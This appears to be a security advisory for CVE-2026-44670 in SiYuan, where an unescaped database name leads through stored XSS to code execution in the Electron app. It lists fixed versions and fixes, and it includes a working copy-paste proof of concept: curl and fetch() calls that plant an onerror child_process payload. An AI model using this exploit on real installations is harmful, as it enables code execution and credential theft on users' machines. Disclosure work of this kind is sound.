CVE-2026-44670: Github.com/siyuan note/siyuan/kernel Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-2h64-c999-c9r6
CWE-94 CWE-1188 CWE-79
Published
Advisory Summary

CVE-2026-44670 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan affected by stored xss via attribute view name to electron renderer rce. Remediation is available by upgrading affected packages to version 0.0.0-20260512140701-d7b77d945e0d.

CVE-2026-44670 at a Glance

CVE Identifier CVE-2026-44670
GHSA Identifier GHSA-2h64-c999-c9r6
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Github.com/siyuan note/siyuan/kernel
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-44670

To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 0.0.0-20260512140701-d7b77d945e0d
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44670, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260512140701-d7b77d945e0d), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution. Payload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV. ## Details **Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`: ```go attrView.Name = strings.TrimSpace(operation.Data.(string)) attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ") if 512 < utf8.RuneCountInString(attrView.Name) { attrView.Name = gulu.Str.SubStr(attrView.Name, 512) } err = av.SaveAttributeView(attrView) // ← no html.EscapeString ``` **Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`: ```go const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>` // ... tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID) tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw ``` **Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`): ```ts <div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div> // ... e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`; ``` Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`. **Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`: ```ts response.data.attrViews.forEach((item: { id: string, name: string }) => { avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span>&nbsp;`; }); nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`; this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML; ``` **Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`: ```ts const escapeHTML = Lute.EscapeHTMLStr(data.new[key]); if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; } else if (key === "name") { nameHTML = `...${escapeHTML}...`; } else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; } else if (key === "memo") { memoHTML = `...${escapeHTML}...`; } else if (key === "custom-avs" && data.new["av-names"]) { avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`; // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above } // ... attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP; ``` The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed. **Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`: ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` **Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass. ## Suggested fix 1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution. 2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557. 3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content. 4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`. 5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default). 2. **Verify the kernel responds:** ```sh curl -s http://127.0.0.1:6806/api/system/version ``` Expected output (single line of JSON): ```json {"code":0,"msg":"","data":"3.6.5"} ``` 3. **Pin shell variables** for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once. ### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds) The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor: 1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**). 2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`. 3. Capture the AV ID — the most recently written file in that directory: ```sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID" ``` Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.) 4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set: ```sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV> ``` ### Step B — Plant the XSS payload as the AV name The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string. ```sh curl -s -X POST $API/api/transactions \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF { "session": "x", "app": "siyuan", "transactions": [{ "doOperations": [{ "action": "setAttrViewName", "id": "$AV_ID", "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">" }], "undoOperations": [] }] } EOF ``` Expected response: ```json {"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]} ``` ### Step C — Verify the unescaped storage ```sh python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])" ``` Expected output (the raw HTML as stored — `print` does not escape `"`, so they appear as literal quotes): ``` <img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')"> ``` ### Step D — Trigger In the SiYuan desktop client: 1. Switch away from the doc that contains the AV (open another doc, or close the tab). 2. Re-open the doc containing the AV (`$DOC_ID`). 3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `<img>` tag, fails to load `src=x`, and fires `onerror`. 4. **Calculator (or `xcalc` / `open -a Calculator`) launches.** If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`: ```js // Inside any extension content/background script fetch('http://127.0.0.1:6806/api/transactions', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ session: 'x', app: 'siyuan', transactions: [{ doOperations: [{ action: 'setAttrViewName', id: '<av-id-discovered-via-prior-recon-fetches>', data: `<img src=x onerror="require('child_process').exec('xcalc')">` }] }] }) }); ``` The extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees. A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh # Remove the test doc (also removes the AV binding in the doc) curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" # Manually delete the AV file rm -f $WS/data/storage/av/$AV_ID.json # Restart SiYuan to clear in-memory state ``` ## Impact - **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met. - **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates. - **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers). - After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot. - **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.

CVE-2026-44670 Affected Github.com/siyuan note/siyuan/kernel Versions

1 component(s)
Fixed Versions:
0.0.0-20260512140701-d7b77d945e0d
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 0.0.0-20260512140701-d7b77d945e0d
0.0.0-20260512140701-d7b77d945e0d

References

Frequently Asked Questions

What is CVE-2026-44670?
CVE-2026-44670 is a security vulnerability in Github.com/siyuan note/siyuan/kernel involving SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Github.com/siyuan note/siyuan/kernel versions are affected?
Affected versions include releases prior to 0.0.0-20260512140701-d7b77d945e0d across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-44670?
Upgrading to 0.0.0-20260512140701-d7b77d945e0d (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 0.0.0-20260512140701-d7b77d945e0d. Upgrade your dependency to 0.0.0-20260512140701-d7b77d945e0d or later.
What CWE is associated with CVE-2026-44670?
CVE-2026-44670 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2026-44670?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2h64-c999-c9r6",
  "modified" : "2026-06-08T20:11:15Z",
  "published" : "2026-05-08T16:53:18Z",
  "aliases" : [ "CVE-2026-44670" ],
  "summary" : "SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE",
  "details" : "## Summary\n\nThe kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.\n\nPayload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.\n\n## Details\n\n**Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`:\n```go\nattrView.Name = strings.TrimSpace(operation.Data.(string))\nattrView.Name = strings.ReplaceAll(attrView.Name, \"\\n\", \" \")\nif 512 < utf8.RuneCountInString(attrView.Name) {\n    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)\n}\nerr = av.SaveAttributeView(attrView)         // ← no html.EscapeString\n```\n\n**Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:\n```go\nconst attrAvNameTpl = `<span data-av-id=\"${avID}\" ... class=\"popover__block\">${avName}</span>`\n// ...\ntpl := strings.ReplaceAll(attrAvNameTpl, \"${avID}\", nodeAvID)\ntpl = strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)   // ← raw\n```\n\n**Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):\n```ts\n<div contenteditable=\"${editable}\" ... data-title=\"${data.name || \"\"}\" ...>${data.name || \"\"}</div>\n// ...\ne.firstElementChild.outerHTML = `<div class=\"av__container\">${genTabHeaderHTML(...)}...</div>`;\n```\nSame pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.\n\n**Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`:\n```ts\nresponse.data.attrViews.forEach((item: { id: string, name: string }) => {\n    avTitle += `<span data-av-id=\"${item.id}\" ... class=\"popover__block\">${item.name}</span>&nbsp;`;\n});\nnodeAttrHTML += `<div class=\"protyle-attr--av\">...${avTitle}</div>`;\nthis.element.querySelector(\".protyle-attr\").innerHTML = nodeAttrHTML;\n```\n\n**Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:\n```ts\nconst escapeHTML = Lute.EscapeHTMLStr(data.new[key]);\nif (key === \"bookmark\") { bookmarkHTML = `...${escapeHTML}...`; }\nelse if (key === \"name\")     { nameHTML  = `...${escapeHTML}...`; }\nelse if (key === \"alias\")    { aliasHTML = `...${escapeHTML}...`; }\nelse if (key === \"memo\")     { memoHTML  = `...${escapeHTML}...`; }\nelse if (key === \"custom-avs\" && data.new[\"av-names\"]) {\n    avHTML = `<div class=\"protyle-attr--av\">...${data.new[\"av-names\"]}</div>`;\n    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above\n}\n// ...\nattrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;\n```\nThe four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed.\n\n**Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`:\n```js\nwebPreferences: {\n    nodeIntegration: true, webviewTag: true,\n    webSecurity: false, contextIsolation: false,\n}\n```\n\n**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == \"\"`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.\n\n## Suggested fix\n\n1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.\n2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.\n3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.\n4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.\n5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).\n2. **Verify the kernel responds:**\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   ```\n   Expected output (single line of JSON):\n   ```json\n   {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. **Pin shell variables** for the rest of the PoC:\n   ```sh\n   API=http://127.0.0.1:6806\n   WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere\n\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H 'Content-Type: application/json' -d '{}' \\\n     | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])')\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n   Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click \"New notebook\" once.\n\n### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)\n\nThe kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:\n\n1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).\n2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`.\n3. Capture the AV ID — the most recently written file in that directory:\n   ```sh\n   AV_FILE=$(ls -1t \"$WS/data/storage/av/\"*.json 2>/dev/null | head -1)\n   AV_ID=$(basename \"$AV_FILE\" .json)\n   echo \"AV_ID: $AV_ID\"\n   ```\n   Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.)\n\n4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set:\n   ```sh\n   DOC_ID=<root-block-id-of-the-doc-containing-the-AV>\n   ```\n\n### Step B — Plant the XSS payload as the AV name\n\nThe payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\\\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string.\n\n```sh\ncurl -s -X POST $API/api/transactions \\\n  -H 'Content-Type: application/json' \\\n  --data-binary @- <<EOF\n{\n  \"session\": \"x\",\n  \"app\": \"siyuan\",\n  \"transactions\": [{\n    \"doOperations\": [{\n      \"action\": \"setAttrViewName\",\n      \"id\": \"$AV_ID\",\n      \"data\": \"<img src=x onerror=\\\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\\\">\"\n    }],\n    \"undoOperations\": []\n  }]\n}\nEOF\n```\nExpected response:\n```json\n{\"code\":0,\"msg\":\"\",\"data\":[{\"doOperations\":[...,\"action\":\"setAttrViewName\",...]}]}\n```\n\n### Step C — Verify the unescaped storage\n\n```sh\npython3 -c \"import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])\"\n```\nExpected output (the raw HTML as stored — `print` does not escape `\"`, so they appear as literal quotes):\n```\n<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">\n```\n\n### Step D — Trigger\n\nIn the SiYuan desktop client:\n\n1. Switch away from the doc that contains the AV (open another doc, or close the tab).\n2. Re-open the doc containing the AV (`$DOC_ID`).\n3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `<img>` tag, fails to load `src=x`, and fires `onerror`.\n4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**\n\nIf nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.\n\n### Step E — Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`:\n```js\n// Inside any extension content/background script\nfetch('http://127.0.0.1:6806/api/transactions', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    session: 'x', app: 'siyuan',\n    transactions: [{ doOperations: [{\n      action: 'setAttrViewName',\n      id: '<av-id-discovered-via-prior-recon-fetches>',\n      data: `<img src=x onerror=\"require('child_process').exec('xcalc')\">`\n    }] }]\n  })\n});\n```\nThe extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.\n\nA page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**.\n\n### Cleanup\n\n```sh\n# Remove the test doc (also removes the AV binding in the doc)\ncurl -s -X POST $API/api/filetree/removeDocByID \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n\n# Manually delete the AV file\nrm -f $WS/data/storage/av/$AV_ID.json\n\n# Restart SiYuan to clear in-memory state\n```\n\n## Impact\n\n- **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met.\n- **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.\n- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).\n- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.\n- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260512140701-d7b77d945e0d"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.0.0-20260421031503-96dfe0bea474"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2h64-c999-c9r6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44670"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-79", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T16:53:18Z",
    "nvd_published_at" : "2026-05-14T19:16:38Z"
  }
}